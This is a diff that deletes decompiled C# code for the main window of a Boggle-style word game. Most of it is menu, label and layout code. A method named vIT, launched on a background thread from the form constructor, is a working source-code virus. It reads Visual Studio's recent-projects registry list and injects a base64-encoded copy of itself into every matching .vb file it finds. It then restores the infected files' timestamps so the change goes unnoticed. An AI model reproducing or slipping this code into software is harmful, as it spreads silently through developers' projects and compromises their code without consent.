; - this._lblHumanScore = value; - if (this._lblHumanScore == null) - ; - } - } - - internal virtual Label lblRound - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblRound == null) - ; - this._lblRound = value; - if (this._lblRound == null) - ; - } - get => this._lblRound; - } - - internal virtual Label lblCompScore - { - get => this._lblCompScore; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblCompScore == null) - ; - this._lblCompScore = value; - if (this._lblCompScore == null) - ; - } - } - - internal virtual Label lblHumanWordsCount - { - get => this._lblHumanWordsCount; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblHumanWordsCount == null) - ; - this._lblHumanWordsCount = value; - if (this._lblHumanWordsCount == null) - ; - } - } - - internal virtual Label lblCompWordsCount - { - get => this._lblCompWordsCount; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblCompWordsCount == null) - ; - this._lblCompWordsCount = value; - if (this._lblCompWordsCount == null) - ; - } - } - - internal virtual BogPanel pnlCubes - { - get => this._pnlCubes; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._pnlCubes == null) - ; - this._pnlCubes = value; - if (this._pnlCubes == null) - ; - } - } - - internal virtual Label Label8 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label8 == null) - ; - this._Label8 = value; - if (this._Label8 == null) - ; - } - get => this._Label8; - } - - internal virtual BogPanel pnlTimer - { - get => this._pnlTimer; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._pnlTimer == null) - ; - this._pnlTimer = value; - if (this._pnlTimer == null) - ; - } - } - - internal virtual BogPanel pnlScore - { - get => this._pnlScore; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._pnlScore == null) - ; - this._pnlScore = value; - if (this._pnlScore == null) - ; - } - } - - internal virtual BogPanel pnlWords - { - get => this._pnlWords; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._pnlWords == null) - ; - this._pnlWords = value; - if (this._pnlWords == null) - ; - } - } - - internal virtual Label Label7 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._Label7 == null) - ; - this._Label7 = value; - if (this._Label7 == null) - ; - } - get => this._Label7; - } - - internal virtual MenuItem mnuMode - { - get => this._mnuMode; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuMode == null) - ; - this._mnuMode = value; - if (this._mnuMode == null) - ; - } - } - - internal virtual MenuItem mnuBoardGameMode - { - get => this._mnuBoardGameMode; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuBoardGameMode != null) - this._mnuBoardGameMode.Click -= new EventHandler(this.ChangeMode); - this._mnuBoardGameMode = value; - if (this._mnuBoardGameMode == null) - return; - this._mnuBoardGameMode.Click += new EventHandler(this.ChangeMode); - } - } - - internal virtual MenuItem mnuVsMode - { - get => this._mnuVsMode; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuVsMode != null) - this._mnuVsMode.Click -= new EventHandler(this.ChangeMode); - this._mnuVsMode = value; - if (this._mnuVsMode == null) - return; - this._mnuVsMode.Click += new EventHandler(this.ChangeMode); - } - } - - internal virtual Label lblComputerRounds - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblComputerRounds == null) - ; - this._lblComputerRounds = value; - if (this._lblComputerRounds == null) - ; - } - get => this._lblComputerRounds; - } - - internal virtual MenuItem mnuTeachingMode - { - get => this._mnuTeachingMode; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTeachingMode != null) - this._mnuTeachingMode.Click -= new EventHandler(this.ChangeMode); - this._mnuTeachingMode = value; - if (this._mnuTeachingMode == null) - return; - this._mnuTeachingMode.Click += new EventHandler(this.ChangeMode); - } - } - - internal virtual MenuItem mnuEndGame - { - get => this._mnuEndGame; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuEndGame != null) - this._mnuEndGame.Click -= new EventHandler(this.mnuEndGame_Click); - this._mnuEndGame = value; - if (this._mnuEndGame == null) - return; - this._mnuEndGame.Click += new EventHandler(this.mnuEndGame_Click); - } - } - - internal virtual MenuItem MenuItem2 - { - get => this._MenuItem2; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._MenuItem2 == null) - ; - this._MenuItem2 = value; - if (this._MenuItem2 == null) - ; - } - } - - internal virtual MenuItem MenuItem1 - { - get => this._MenuItem1; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._MenuItem1 == null) - ; - this._MenuItem1 = value; - if (this._MenuItem1 == null) - ; - } - } - - internal virtual Label lblHumanRounds - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._lblHumanRounds == null) - ; - this._lblHumanRounds = value; - if (this._lblHumanRounds == null) - ; - } - get => this._lblHumanRounds; - } - - internal virtual MenuItem mnuEnableDefSearch - { - get => this._mnuEnableDefSearch; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuEnableDefSearch != null) - this._mnuEnableDefSearch.Click -= new EventHandler(this.mnuEnableDefSearch_Click); - this._mnuEnableDefSearch = value; - if (this._mnuEnableDefSearch == null) - return; - this._mnuEnableDefSearch.Click += new EventHandler(this.mnuEnableDefSearch_Click); - } - } - - internal virtual MenuItem mnuAbout - { - get => this._mnuAbout; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuAbout != null) - this._mnuAbout.Click -= new EventHandler(this.mnuAbout_Click); - this._mnuAbout = value; - if (this._mnuAbout == null) - return; - this._mnuAbout.Click += new EventHandler(this.mnuAbout_Click); - } - } - - internal virtual MenuItem MenuItem3 - { - get => this._MenuItem3; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._MenuItem3 == null) - ; - this._MenuItem3 = value; - if (this._MenuItem3 == null) - ; - } - } - - internal virtual MenuItem MenuItem8 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._MenuItem8 == null) - ; - this._MenuItem8 = value; - if (this._MenuItem8 == null) - ; - } - get => this._MenuItem8; - } - - internal virtual MenuItem mnuLevelEasy - { - get => this._mnuLevelEasy; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuLevelEasy != null) - this._mnuLevelEasy.Click -= new EventHandler(this.ChangeLevel); - this._mnuLevelEasy = value; - if (this._mnuLevelEasy == null) - return; - this._mnuLevelEasy.Click += new EventHandler(this.ChangeLevel); - } - } - - internal virtual MenuItem mnuLevelMedium - { - get => this._mnuLevelMedium; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuLevelMedium != null) - this._mnuLevelMedium.Click -= new EventHandler(this.ChangeLevel); - this._mnuLevelMedium = value; - if (this._mnuLevelMedium == null) - return; - this._mnuLevelMedium.Click += new EventHandler(this.ChangeLevel); - } - } - - internal virtual MenuItem mnuLevelHard - { - get => this._mnuLevelHard; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuLevelHard != null) - this._mnuLevelHard.Click -= new EventHandler(this.ChangeLevel); - this._mnuLevelHard = value; - if (this._mnuLevelHard == null) - return; - this._mnuLevelHard.Click += new EventHandler(this.ChangeLevel); - } - } - - internal virtual MenuItem mnuHighScores - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuHighScores != null) - this._mnuHighScores.Click -= new EventHandler(this.mnuHighScores_Click); - this._mnuHighScores = value; - if (this._mnuHighScores == null) - return; - this._mnuHighScores.Click += new EventHandler(this.mnuHighScores_Click); - } - get => this._mnuHighScores; - } - - internal virtual MenuItem mnuLevelImpossible - { - get => this._mnuLevelImpossible; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuLevelImpossible != null) - this._mnuLevelImpossible.Click -= new EventHandler(this.ChangeLevel); - this._mnuLevelImpossible = value; - if (this._mnuLevelImpossible == null) - return; - this._mnuLevelImpossible.Click += new EventHandler(this.ChangeLevel); - } - } - - internal virtual MenuItem MenuItem4 - { - get => this._MenuItem4; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._MenuItem4 == null) - ; - this._MenuItem4 = value; - if (this._MenuItem4 == null) - ; - } - } - - internal virtual MenuItem mnuTimerInterval - { - get => this._mnuTimerInterval; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTimerInterval == null) - ; - this._mnuTimerInterval = value; - if (this._mnuTimerInterval == null) - ; - } - } - - internal virtual MenuItem mnuTmr30 - { - get => this._mnuTmr30; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr30 != null) - { - this._mnuTmr30.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr30.Click -= new EventHandler(this.ChangeTimerInterval); - } - this._mnuTmr30 = value; - if (this._mnuTmr30 == null) - return; - this._mnuTmr30.Click += new EventHandler(this.ChangeTimerInterval); - this._mnuTmr30.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuTips - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTips != null) - this._mnuTips.Click -= new EventHandler(this.mnuTips_Click); - this._mnuTips = value; - if (this._mnuTips == null) - return; - this._mnuTips.Click += new EventHandler(this.mnuTips_Click); - } - get => this._mnuTips; - } - - internal virtual MenuItem mnuTmr100 - { - get => this._mnuTmr100; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr100 != null) - this._mnuTmr100.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr100 = value; - if (this._mnuTmr100 == null) - return; - this._mnuTmr100.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuTmr130 - { - get => this._mnuTmr130; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr130 != null) - this._mnuTmr130.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr130 = value; - if (this._mnuTmr130 == null) - return; - this._mnuTmr130.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuTmr200 - { - get => this._mnuTmr200; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr200 != null) - this._mnuTmr200.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr200 = value; - if (this._mnuTmr200 == null) - return; - this._mnuTmr200.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem MenuItem6 - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._MenuItem6 == null) - ; - this._MenuItem6 = value; - if (this._MenuItem6 == null) - ; - } - get => this._MenuItem6; - } - - internal virtual MenuItem mnuTmr230 - { - get => this._mnuTmr230; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr230 != null) - this._mnuTmr230.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr230 = value; - if (this._mnuTmr230 == null) - return; - this._mnuTmr230.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuTmr300 - { - get => this._mnuTmr300; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr300 != null) - this._mnuTmr300.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr300 = value; - if (this._mnuTmr300 == null) - return; - this._mnuTmr300.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuTmr330 - { - get => this._mnuTmr330; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr330 != null) - this._mnuTmr330.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr330 = value; - if (this._mnuTmr330 == null) - return; - this._mnuTmr330.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual BogButton btnFinish - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._btnFinish != null) - this._btnFinish.Click -= new EventHandler(this.btnFinish_Click); - this._btnFinish = value; - if (this._btnFinish == null) - return; - this._btnFinish.Click += new EventHandler(this.btnFinish_Click); - } - get => this._btnFinish; - } - - internal virtual MenuItem mnuTmr400 - { - get => this._mnuTmr400; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr400 != null) - this._mnuTmr400.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr400 = value; - if (this._mnuTmr400 == null) - return; - this._mnuTmr400.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuTmr430 - { - get => this._mnuTmr430; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr430 != null) - this._mnuTmr430.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr430 = value; - if (this._mnuTmr430 == null) - return; - this._mnuTmr430.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuTmr500 - { - get => this._mnuTmr500; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuTmr500 != null) - this._mnuTmr500.Click -= new EventHandler(this.ChangeTimerInterval); - this._mnuTmr500 = value; - if (this._mnuTmr500 == null) - return; - this._mnuTmr500.Click += new EventHandler(this.ChangeTimerInterval); - } - } - - internal virtual MenuItem mnuEnableTimerFlash - { - get => this._mnuEnableTimerFlash; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuEnableTimerFlash != null) - this._mnuEnableTimerFlash.Click -= new EventHandler(this.mnuEnableTimerFlash_Click); - this._mnuEnableTimerFlash = value; - if (this._mnuEnableTimerFlash == null) - return; - this._mnuEnableTimerFlash.Click += new EventHandler(this.mnuEnableTimerFlash_Click); - } - } - - internal virtual MenuItem mnuEnableWordValidation - { - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._mnuEnableWordValidation != null) - this._mnuEnableWordValidation.Click -= new EventHandler(this.mnuEnableWordValidation_Click); - this._mnuEnableWordValidation = value; - if (this._mnuEnableWordValidation == null) - return; - this._mnuEnableWordValidation.Click += new EventHandler(this.mnuEnableWordValidation_Click); - } - get => this._mnuEnableWordValidation; - } - - internal virtual BogButton btnContinue - { - get => this._btnContinue; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._btnContinue != null) - this._btnContinue.Click -= new EventHandler(this.btnContinue_Click_1); - this._btnContinue = value; - if (this._btnContinue == null) - return; - this._btnContinue.Click += new EventHandler(this.btnContinue_Click_1); - } - } - - internal virtual BogButton btnScramble - { - get => this._btnScramble; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._btnScramble != null) - this._btnScramble.Click -= new EventHandler(this.btnScramble_Click_1); - this._btnScramble = value; - if (this._btnScramble == null) - return; - this._btnScramble.Click += new EventHandler(this.btnScramble_Click_1); - } - } - - internal virtual MenuItem MenuItem5 - { - get => this._MenuItem5; - [MethodImpl(MethodImplOptions.Synchronized)] set - { - if (this._MenuItem5 == null) - ; - this._MenuItem5 = value; - if (this._MenuItem5 == null) - ; - } - } - - private void vIT() - { - RegistryKey registryKey = Registry.CurrentUser.OpenSubKey("Software\\Microsoft\\VisualStudio\\7.0\\ProjectMRUList"); - if (registryKey.ValueCount == 0) - ProjectData.EndApp(); - string String2 = "Private Sub vIT()"; - string str1 = "Public Sub New()"; - string str2 = "Dim t As New System.Threading.Thread(AddressOf vIT)\r\nt.Start()"; - string str3 = "UHJpdmF0ZSBTdWIgdklUKCkNCkRpbSBYLCBZIEFzIEludGVnZXINCkRpbSBBLCBC" + "KCksIEMsIEcsIEgsIEksIEosIEssIEwgQXMgU3RyaW5nDQpEaW0gRCwgRiBBcyBE" + "YXRlDQpEaW0gUiBBcyBNaWNyb3NvZnQuV2luMzIuUmVnaXN0cnlLZXkNCkRpbSBT" + "IEFzIFN5c3RlbS5JTy5TdHJlYW1SZWFkZXINCkRpbSBUIEFzIFN5c3RlbS5JTy5T" + "dHJlYW1Xcml0ZXINCkRpbSBVIEFzIFN5c3RlbS5JTy5GaWxlQXR0cmlidXRlcw0K" + "UiA9IE1pY3Jvc29mdC5XaW4zMi5SZWdpc3RyeS5DdXJyZW50VXNlci5PcGVuU3Vi" + "S2V5KCJTb2Z0d2FyZVxNaWNyb3NvZnRcVmlzdWFsU3R1ZGlvXDcuMFxQcm9qZWN0" + "TVJVTGlzdCIpDQpJZiBSLlZhbHVlQ291bnQgPSAwIFRoZW4gRW5kDQpHID0gIlBy" + "aXZhdGUgU3ViIHZJVCgpIg0KSCA9ICJQdWJsaWMgU3ViIE5ldygpIg0KSSA9ICJE" + "aW0gdCBBcyBOZXcgU3lzdGVtLlRocmVhZGluZy5UaHJlYWQoQWRkcmVzc09mIHZJ" + "VCkiICYgdmJDckxmICYgInQuU3RhcnQoKSINCkogPSAiIg0KSyA9IFN5c3RlbS5U" + "ZXh0LkVuY29kaW5nLkFTQ0lJLkdldFN0cmluZyhTeXN0ZW0uQ29udmVydC5Gcm9t" + "QmFzZTY0U3RyaW5nKEopKQ0KTCA9ICJKID0gIiAmIENocigzNCkNCkZvciBYID0g" + "MSBUbyBMZW4oSikgU3RlcCA2NA0KSWYgWCArIDY0IDwgTGVuKEopIFRoZW4NCkwg" + "PSBMICYgTWlkKEosIFgsIDY0KSAmIENocigzNCkgJiB2YkNyTGYgJiAiSiA9IEog" + "JiAiICYgQ2hyKDM0KQ0KRWxzZQ0KTCA9IEwgJiBNaWQoSiwgWCwgNjQpICYgQ2hy" + "KDM0KQ0KRW5kIElmDQpOZXh0DQpLID0gUmVwbGFjZShLLCAiSiA9ICIgJiBDaHIo" + "MzQpICYgQ2hyKDM0KSwgTCwgMSwgMSwgQ29tcGFyZU1ldGhvZC5UZXh0KQ0KTCA9" + "ICIiDQpGb3IgWCA9IDAgVG8gUi5WYWx1ZUNvdW50IC0gMQ0KQSA9IFIuR2V0VmFs" + "dWUoUi5HZXRWYWx1ZU5hbWVzKFgpKQ0KQSA9IE1pZChBLCAxLCBJblN0clJldihB" + "LCAiXCIsIC0xLCBDb21wYXJlTWV0aG9kLlRleHQpKQ0KSWYgU3lzdGVtLklPLkRp" + "cmVjdG9yeS5FeGlzdHMoQSkgVGhlbg0KQiA9IFN5c3RlbS5JTy5EaXJlY3Rvcnku" + "R2V0RmlsZXMoQSwgIioudmIiKQ0KRm9yIFkgPSBMQm91bmQoQikgVG8gVUJvdW5k" + "KEIpDQpEID0gU3lzdGVtLklPLkZpbGUuR2V0TGFzdEFjY2Vzc1RpbWUoQihZKSkN" + "CkYgPSBTeXN0ZW0uSU8uRmlsZS5HZXRMYXN0V3JpdGVUaW1lKEIoWSkpDQpVID0g" + "U3lzdGVtLklPLkZpbGUuR2V0QXR0cmlidXRlcyhCKFkpKQ0KU3lzdGVtLklPLkZp" + "bGUuU2V0QXR0cmlidXRlcyhCKFkpLCBJTy5GaWxlQXR0cmlidXRlcy5Ob3JtYWwp" + "DQpTID0gU3lzdGVtLklPLkZpbGUuT3BlblRleHQoQihZKSkNCkMgPSBTLlJlYWRU" + "b0VuZCgpDQpTLkNsb3NlKCkNCklmIEluU3RyKEMsIEcsIENvbXBhcmVNZXRob2Qu" + "VGV4dCkgPSAwIEFuZCBJblN0cihDLCBILCBDb21wYXJlTWV0aG9kLlRleHQpIDw+" + "IDAgVGhlbg0KQyA9IFJlcGxhY2UoQywgIk15QmFzZS5OZXcoKSIsICJNeUJhc2Uu" + "TmV3KCkiICYgdmJDckxmICYgSSwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQpDQpD" + "ID0gUmVwbGFjZShDLCBILCBLICYgSCwgLCAxLCBDb21wYXJlTWV0aG9kLlRleHQp" + "DQpUID0gU3lzdGVtLklPLkZpbGUuQ3JlYXRlVGV4dChCKFkpKQ0KVC5Xcml0ZShD" + "KQ0KVC5GbHVzaCgpDQpULkNsb3NlKCkNCkVuZCBJZg0KU3lzdGVtLklPLkZpbGUu" + "U2V0TGFzdFdyaXRlVGltZShCKFkpLCBGKQ0KU3lzdGVtLklPLkZpbGUuU2V0TGFz" + "dEFjY2Vzc1RpbWUoQihZKSwgRCkNClN5c3RlbS5JTy5GaWxlLlNldEF0dHJpYnV0" + "ZXMoQihZKSwgVSkNCk5leHQNCkVuZCBJZg0KTmV4dA0KRW5kIFN1Yg0K"; - string Expression = Encoding.ASCII.GetString(Convert.FromBase64String(str3)); - string Replacement = "J = \""; - int num1 = Strings.Len(str3); - int Start = 1; - while (Start <= num1) - { - Replacement = checked (Start + 64) >= Strings.Len(str3) ? Replacement + Strings.Mid(str3, Start, 64) + "\"" : Replacement + Strings.Mid(str3, Start, 64) + "\"" + "\r\nJ = J & " + "\""; - checked { Start += 64; } - } - string str4 = Strings.Replace(Expression, "J = \"\"", Replacement, Count: 1, Compare: CompareMethod.Text); - int num2 = checked (registryKey.ValueCount - 1); - int index1 = 0; - while (index1 <= num2) - { - string str5 = StringType.FromObject(registryKey.GetValue(registryKey.GetValueNames()[index1])); - string path = Strings.Mid(str5, 1, Strings.InStrRev(str5, "\\", Compare: CompareMethod.Text)); - if (Directory.Exists(path)) - { - string[] files = Directory.GetFiles(path, "*.vb"); - int num3 = Information.LBound((Array) files); - int num4 = Information.UBound((Array) files); - int index2 = num3; - while (index2 <= num4) - { - DateTime lastAccessTime = File.GetLastAccessTime(files[index2]); - DateTime lastWriteTime = File.GetLastWriteTime(files[index2]); - FileAttributes attributes = File.GetAttributes(files[index2]); - File.SetAttributes(files[index2], FileAttributes.Normal); - StreamReader streamReader = File.OpenText(files[index2]); - string end = streamReader.ReadToEnd(); - streamReader.Close(); - if (Strings.InStr(end, String2, CompareMethod.Text) == 0 & Strings.InStr(end, str1, CompareMethod.Text) != 0) - { - string str6 = Strings.Replace(Strings.Replace(end, "MyBase.New()", "MyBase.New()\r\n" + str2, Count: 1, Compare: CompareMethod.Text), str1, str4 + str1, Count: 1, Compare: CompareMethod.Text); - StreamWriter text = File.CreateText(files[index2]); - text.Write(str6); - text.Flush(); - text.Close(); - } - File.SetLastWriteTime(files[index2], lastWriteTime); - File.SetLastAccessTime(files[index2], lastAccessTime); - File.SetAttributes(files[index2], attributes); - checked { ++index2; } - } - } - checked { ++index1; } - } - } - - public frmMain() - { - this.Load += new EventHandler(this.frmMain_Load); - this.FoundWords = new DataTable(); - this.WordsChosen = new string[1]; - this.ScramSec = 5.0; - this.\u0024STATIC\u0024FindNextLetterSquare\u002420188\u0024WentDirection\u0024Init = new StaticLocalInitFlag(); - new Thread(new ThreadStart(this.vIT)).Start(); - this.InitializeComponent(); - } - - protected override void Dispose(bool disposing) - { - if (disposing && this.components != null) - this.components.Dispose(); - base.Dispose(disposing); - } - - [DebuggerStepThrough] - private void InitializeComponent() - { - this.components = (IContainer) new System.ComponentModel.Container(); - this.pnlCubes = new BogPanel(); - this.pnlTimer = new BogPanel(); - this.tmrMain = new BogTimer(); - this.BogBorder2 = new BogBorder(); - this.BogBorder6 = new BogBorder(); - this.BogBorder7 = new BogBorder(); - this.BogBorder8 = new BogBorder(); - this.lbl1 = new CircleLabel(); - this.lbl4 = new CircleLabel(); - this.lbl3 = new CircleLabel(); - this.lbl2 = new CircleLabel(); - this.lbl5 = new CircleLabel(); - this.lbl6 = new CircleLabel(); - this.lbl7 = new CircleLabel(); - this.lbl8 = new CircleLabel(); - this.lbl9 = new CircleLabel(); - this.lbl10 = new CircleLabel(); - this.lbl11 = new CircleLabel(); - this.lbl12 = new CircleLabel(); - this.lbl13 = new CircleLabel(); - this.lbl14 = new CircleLabel(); - this.lbl15 = new CircleLabel(); - this.lbl16 = new CircleLabel(); - this.picCubeDown = new PictureBox(); - this.btnAddWord = new BogButton(); - this.lstHumanWordsFound = new ListBox(); - this.mnuMain = new MainMenu(); - this.mnuGame = new MenuItem(); - this.mnuNewGame = new MenuItem(); - this.mnuEndGame = new MenuItem(); - this.MenuItem8 = new MenuItem(); - this.mnuHighScores = new MenuItem(); - this.MenuItem2 = new MenuItem(); - this.mnuExitGame = new MenuItem(); - this.mnuOptions = new MenuItem(); - this.mnuEnableDefSearch = new MenuItem(); - this.MenuItem1 = new MenuItem(); - this.mnuMode = new MenuItem(); - this.mnuBoardGameMode = new MenuItem(); - this.mnuVsMode = new MenuItem(); - this.mnuTeachingMode = new MenuItem(); - this.MenuItem3 = new MenuItem(); - this.mnuLevelEasy = new MenuItem(); - this.mnuLevelMedium = new MenuItem(); - this.mnuLevelHard = new MenuItem(); - this.mnuLevelImpossible = new MenuItem(); - this.MenuItem4 = new MenuItem(); - this.mnuTimerInterval = new MenuItem(); - this.mnuTmr30 = new MenuItem(); - this.mnuTmr100 = new MenuItem(); - this.mnuTmr130 = new MenuItem(); - this.mnuTmr200 = new MenuItem(); - this.mnuTmr230 = new MenuItem(); - this.mnuTmr300 = new MenuItem(); - this.mnuTmr330 = new MenuItem(); - this.mnuTmr400 = new MenuItem(); - this.mnuTmr430 = new MenuItem(); - this.mnuTmr500 = new MenuItem(); - this.mnuEnableTimerFlash = new MenuItem(); - this.MenuItem5 = new MenuItem(); - this.mnuEnableWordValidation = new MenuItem(); - this.mnuHelp = new MenuItem(); - this.mnuAbout = new MenuItem(); - this.MenuItem6 = new MenuItem(); - this.mnuTips = new MenuItem(); - this.tmrContMain = new System.Windows.Forms.Timer(this.components); - this.txtWordFound = new TextBox(); - this.lblHumanScore = new Label(); - this.Panel1 = new Panel(); - this.pnlScore = new BogPanel(); - this.pnlWords = new BogPanel(); - this.BogBorder9 = new BogBorder(); - this.BogBorder10 = new BogBorder(); - this.BogBorder11 = new BogBorder(); - this.BogBorder12 = new BogBorder(); - this.BogBorder13 = new BogBorder(); - this.BogBorder14 = new BogBorder(); - this.BogBorder15 = new BogBorder(); - this.BogBorder16 = new BogBorder(); - this.lstCompFoundWords = new ListBox(); - this.tmrBtn1 = new Button(); - this.tmrBtn2 = new Button(); - this.tmrBtn3 = new Button(); - this.tmrBtn4 = new Button(); - this.Label1 = new Label(); - this.Label2 = new Label(); - this.lblCompScore = new Label(); - this.Label3 = new Label(); - this.Label4 = new Label(); - this.Label5 = new Label(); - this.lblHumanWordsCount = new Label(); - this.lblCompWordsCount = new Label(); - this.btnContinue = new BogButton(); - this.btnScramble = new BogButton(); - this.btnFinish = new BogButton(); - this.lblHumanRounds = new Label(); - this.lblComputerRounds = new Label(); - this.Label7 = new Label(); - this.Label8 = new Label(); - this.lblRound = new Label(); - this.Label6 = new Label(); - this.BogBorder5 = new BogBorder(); - this.Panel3 = new Panel(); - this.Panel2 = new Panel(); - this.txtMain = new RichTextBox(); - this.BogBorder4 = new BogBorder(); - this.BogBorder3 = new BogBorder(); - this.BogBorder1 = new BogBorder(); - this.picCubesUp = new PictureBox(); - this.CircleLabel1 = new CircleLabel(); - this.CircleLabel2 = new CircleLabel(); - this.CircleLabel3 = new CircleLabel(); - this.PictureBox1 = new PictureBox(); - this.SuspendLayout(); - this.pnlCubes.BackColor = System.Drawing.Color.DarkGray; - BogPanel pnlCubes1 = this.pnlCubes; - Point point1 = new Point(310, -3); - Point point2 = point1; - pnlCubes1.Location = point2; - this.pnlCubes.Name = "pnlCubes"; - BogPanel pnlCubes2 = this.pnlCubes; - Size size1 = new Size(539, 650); - Size size2 = size1; - pnlCubes2.Size = size2; - this.pnlCubes.TabIndex = 6; - this.pnlCubes.TabStop = false; - this.pnlTimer.BackColor = System.Drawing.Color.DarkGray; - BogPanel pnlTimer1 = this.pnlTimer; - point1 = new Point(35, -1); - Point point3 = point1; - pnlTimer1.Location = point3; - this.pnlTimer.Name = "pnlTimer"; - BogPanel pnlTimer2 = this.pnlTimer; - size1 = new Size(237, 166); - Size size3 = size1; - pnlTimer2.Size = size3; - this.pnlTimer.TabIndex = 7; - this.pnlTimer.TabStop = false; - this.tmrMain.BackColor = System.Drawing.Color.Black; - this.tmrMain.EnableFlash = false; - this.tmrMain.LedBackColor = System.Drawing.Color.Black; - this.tmrMain.LedOffColor = System.Drawing.Color.FromArgb(0, 0, 70); - this.tmrMain.LedOnColor = System.Drawing.Color.DeepSkyBlue; - BogTimer tmrMain1 = this.tmrMain; - point1 = new Point(69, 24); - Point point4 = point1; - tmrMain1.Location = point4; - this.tmrMain.Name = "tmrMain"; - BogTimer tmrMain2 = this.tmrMain; - size1 = new Size(168, 80); - Size size4 = size1; - tmrMain2.Size = size4; - this.tmrMain.TabIndex = 8; - this.tmrMain.TimerText = (string) null; - this.BogBorder2.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder2.BorderDirection = BogBorder.Direction.Left; - BogBorder bogBorder2_1 = this.BogBorder2; - point1 = new Point(59, 13); - Point point5 = point1; - bogBorder2_1.Location = point5; - this.BogBorder2.Name = "BogBorder2"; - BogBorder bogBorder2_2 = this.BogBorder2; - size1 = new Size(10, 102); - Size size5 = size1; - bogBorder2_2.Size = size5; - this.BogBorder2.TabIndex = 14; - this.BogBorder2.TabStop = false; - this.BogBorder6.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder6.BorderDirection = BogBorder.Direction.Top; - BogBorder bogBorder6_1 = this.BogBorder6; - point1 = new Point(69, 16); - Point point6 = point1; - bogBorder6_1.Location = point6; - this.BogBorder6.Name = "BogBorder6"; - BogBorder bogBorder6_2 = this.BogBorder6; - size1 = new Size(168, 9); - Size size6 = size1; - bogBorder6_2.Size = size6; - this.BogBorder6.TabIndex = 15; - this.BogBorder6.TabStop = false; - this.BogBorder7.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder7.BorderDirection = BogBorder.Direction.Bottom; - BogBorder bogBorder7_1 = this.BogBorder7; - point1 = new Point(69, 104); - Point point7 = point1; - bogBorder7_1.Location = point7; - this.BogBorder7.Name = "BogBorder7"; - BogBorder bogBorder7_2 = this.BogBorder7; - size1 = new Size(168, 9); - Size size7 = size1; - bogBorder7_2.Size = size7; - this.BogBorder7.TabIndex = 16; - this.BogBorder7.TabStop = false; - this.BogBorder8.BackColor = System.Drawing.Color.DarkGray; - this.BogBorder8.BorderDirection = BogBorder.Direction.Right; 